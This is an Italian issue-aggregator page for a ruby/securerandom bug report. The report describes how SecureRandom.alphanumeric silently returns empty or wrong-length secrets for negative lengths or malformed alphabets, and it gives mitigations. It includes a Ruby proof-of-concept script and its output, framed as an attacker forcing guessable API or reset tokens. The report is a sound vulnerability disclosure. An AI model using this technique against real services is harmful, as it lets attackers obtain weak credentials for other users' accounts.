SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 2/5
- Tempo stimato
- 1-3 ore
- Idoneità per principianti
- 67/100
Direzione di ricerca
Inizia da lib/securerandom.rb:55 e segui l’implementazione alfanumerica e il suo metodo choose condiviso; da Ruby 3.3 in poi, controlla anche Random::Formatter. Aggiungi test per le lunghezze negative e i valori chars non validi, verificando anche se la stringa restituita corrisponde alla lunghezza richiesta. Il lavoro è completato quando gli input non validi generano un’eccezione e quelli validi restituiscono ancora esattamente il numero di caratteri richiesto.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
About
Title: SecureRandom.alphanumeric can silently return an empty or wrong-length secret instead of raising
Repository: ruby/securerandom
Location: lib/securerandom.rb:55
Severity: Low
Impacted versions: HEAD, 0.4.1, ruby-3.3 random/formatter.rb, ruby-3.4 random/formatter.rb
Summary
SecureRandom.alphanumeric(n, chars:) documents that n is the number of characters in the
returned string, but it never validates n or the character set and never checks the length
of what it built. A negative n makes both generation loops skip, so the method returns the
empty string. A Hash-like alphabet (for example a JSON/YAML document parsed into a Hash)
makes the internal values_at look up integer keys on a Hash, find nothing, and join the
resulting nils into the empty string. nil and "" elements are joined away and shorten
the result, while multi-character elements lengthen it. In every case the method returns
normally, so the caller has no signal that it did not get the secret it asked for.
Ruby's hex, random_bytes and bytes raise ArgumentError for a negative size, so a caller
reasonably expects alphanumeric(-1) to fail as well. On Ruby 3.3 and later the code is in
the standard library's Random::Formatter; the securerandom gem's compatibility shim for
Ruby 3.1/3.2 calls the same choose method. The library-side fix is to coerce and
range-check n, validate that chars is an Array of at least two non-empty single-character
strings, and assert that the result length equals n before returning it.
Impact
Any caller that relies on the documented length contract can receive a zero- or
low-entropy secret with no error. If a service lets a user or configuration influence the
token length or alphabet (a custom-length API-key or invite-code feature, or a charset
loaded from JSON/YAML), an attacker can force newly issued secrets to be "" or short.
Empty or short API keys, session identifiers, invite codes or password-reset tokens are
trivially guessable, and the application will treat them as if they were strong because no
exception was raised.
The library-side defect is the silent failure: the API cannot be trusted to honour its
stated contract. Whether a particular service reaches account takeover depends on how it
exposes the length or character set to the attacker; a service that only lets a user
choose the length of a token issued to that same user has a weaker (self-inflicted)
problem, while a service with a shared or attacker-influenced length/charset can issue
guessable credentials to other accounts. In both cases the correct behaviour is to fail
loudly rather than return a weaker secret.
Mitigations
Reject non-positive/non-integer n and clamp to a sane maximum; validate the alphabet (must
be an Array of at least 2 non-empty, single-character strings) and reject Hash/other
types; after generation assert the returned string's length equals n and re-raise
otherwise; never let untrusted input choose token length or character set for
security-sensitive values; use a fixed-size random_bytes/hex for secrets.
Examples
example 1
An API-key endpoint accepts a length parameter and passes it to SecureRandom.alphanumeric.
length=-1 returns ""; the empty key is stored and shown to the user as a valid key,
whereas SecureRandom.hex(-1) in the same codebase raises ArgumentError.
example 2
A service loads its allowed character set from JSON into a Hash such as {"a":1,"b":2} (for
example a map of symbols to weights). Passing it as chars: yields "" for every token
because values_at indexes by integer key and gets nil.
example 3
A charset array containing nil or "" (for example from a split that produced empty fields)
shortens every token; multi-character entries such as ["ab","cd"] make it longer than
requested, breaking length assumptions in downstream storage, validation or rate
calculations.
example 4
An invite-code generator asks for 8 characters from a 3-element array that includes a nil.
It stores, on average, several characters fewer than expected, reducing the search space;
a Hash-shaped alphabet reduces it to the single empty token.
Proof of concept
#!/usr/bin/env ruby
# frozen_string_literal: true
#
# PoC: SecureRandom.alphanumeric silently violates its "return n characters"
# contract and hands back an empty or short secret with NO error, when the
# caller forwards an attacker-influenced length (or alphabet).
#
# Target : securerandom gem lib/securerandom.rb:55-58
# (and Ruby >= 3.3 Random::Formatter#alphanumeric -> #choose)
# Effect : a token generator that asks for a 32-char secret gets "" (zero
# entropy). If n comes from a request (e.g. ?length=) or the alphabet
# is user/config supplied, an attacker forces every issued token to be
# the empty string -> trivially guessable reset/API/session tokens.
#
# This attacks the real gem through its public API.
require "securerandom"
puts "== SecureRandom #{SecureRandom::VERSION} - silent length-contract break =="
puts
def show(label, value)
puts format(" %-52s => %-24s (len=%d)", label, value.inspect, value.length)
end
# Baseline: a well-formed secret.
show("alphanumeric(32)", SecureRandom.alphanumeric(32))
# The failure modes -----------------------------------------------------------
# 1) attacker-supplied negative length instead of a positive one
show("alphanumeric(-1)", SecureRandom.alphanumeric(-1))
show("alphanumeric(-1000000)", SecureRandom.alphanumeric(-1000000))
# 2) attacker-supplied alphabet that is Hash-like (e.g. parsed from JSON/YAML:
# {"a":1,"b":2}) -> values_at indexes by integer key, returns nil -> ""
show("alphanumeric(32, chars: {\"a\"=>1,\"b\"=>2})",
SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }))
# 3) alphabet whose entries collapse when joined (nil / "") -> short result
r = SecureRandom.alphanumeric(8, chars: [nil, "a", "b"])
show("alphanumeric(8, chars: [nil, \"a\", \"b\"]) (one run)", r)
# 4) multi-character entries blow the length up instead of down
show("alphanumeric(8, chars: [\"ab\",\"cd\"])",
SecureRandom.alphanumeric(8, chars: ["ab", "cd"]))
puts
puts "For comparison, hex()/bytes() *do* reject a negative size:"
begin
SecureRandom.hex(-1)
rescue => e
puts " SecureRandom.hex(-1) => #{e.class}: #{e.message}"
end
puts
# --- demonstrate the security consequence -----------------------------------
# A minimal, realistic caller: a token issuer that lets the client choose the
# length of the key it is about to mint (a common "custom length" option).
def issue_api_key(length_param)
n = Integer(length_param) # client-controlled
SecureRandom.alphanumeric(n) # trusts the length contract
end
puts "[*] token issuer using an attacker-supplied ?length= :"
[32, -1].each do |len|
key = issue_api_key(len)
verdict = key.empty? ? "EMPTY -> guessable" : "ok"
puts format(" ?length=%-6s issues key %-10s (len=%d) %s", len, key.inspect, key.length, verdict)
end
puts
if SecureRandom.alphanumeric(-1).empty? &&
SecureRandom.alphanumeric(32, chars: { "a" => 1, "b" => 2 }).empty?
puts "[+] RESULT: alphanumeric returned a zero-length secret with no exception."
puts " A caller that supplied ?length=-1 (or a map-shaped charset) just"
puts " handed the attacker the empty string as the token."
exit 0
else
puts "[-] contract violation not reproduced on this host."
exit 2
end
stdout
== SecureRandom 0.4.1 - silent length-contract break ==
alphanumeric(32) => "orH2W1smeQb3i4eKzzAnAYUHTErQ9ow3" (len=32)
alphanumeric(-1) => "" (len=0)
alphanumeric(-1000000) => "" (len=0)
alphanumeric(32, chars: {"a"=>1,"b"=>2}) => "" (len=0)
alphanumeric(8, chars: [nil, "a", "b"]) (one run) => "abbbb" (len=5)
alphanumeric(8, chars: ["ab","cd"]) => "cdcdcdabcdabcdab" (len=16)
For comparison, hex()/bytes() *do* reject a negative size:
SecureRandom.hex(-1) => ArgumentError: negative string size (or size too big)
[*] token issuer using an attacker-supplied ?length= :
?length=32 issues key "PxibdjNJoL6ZR8QRO5vATkEK5ZPd09e6" (len=32) ok
?length=-1 issues key "" (len=0) EMPTY -> guessable
[+] RESULT: alphanumeric returned a zero-length secret with no exception.
A caller that supplied ?length=-1 (or a map-shaped charset) just
handed the attacker the empty string as the token.
- Lingua principale
- Ruby
- Stelle
- 76
- Fork
- 17
- Merge medio
- 42m
- PR unite (30g)
- 5
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di ruby/securerandom
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 76/100
ruby/securerandom#91 ·
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 35/100
ruby/securerandom#37 · 3 commenti ·
-
Difficoltà 4/5 3-5 giorni Idoneità per principianti 28/100
ruby/securerandom#31 · 1 commento ·
-
Make ractor safeAperta
Difficoltà 4/5 3-5 giorni Idoneità per principianti 25/100
ruby/securerandom#16 ·
Tutte le issue di ruby/securerandom
Issue simili
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
open-feature/ruby-sdk-contrib#340 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 88/100
zold-io/wts.zold.io#651 ·
I maintainer di solito rispondono entro 1 giorno
-
good first issue help wanted
Difficoltà 2/5 1-3 ore Idoneità per principianti 87/100
erkamyaman/rust-anything#788 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 74/100
TheOdinProject/curriculum#31579 ·
I maintainer di solito rispondono entro 1 giorno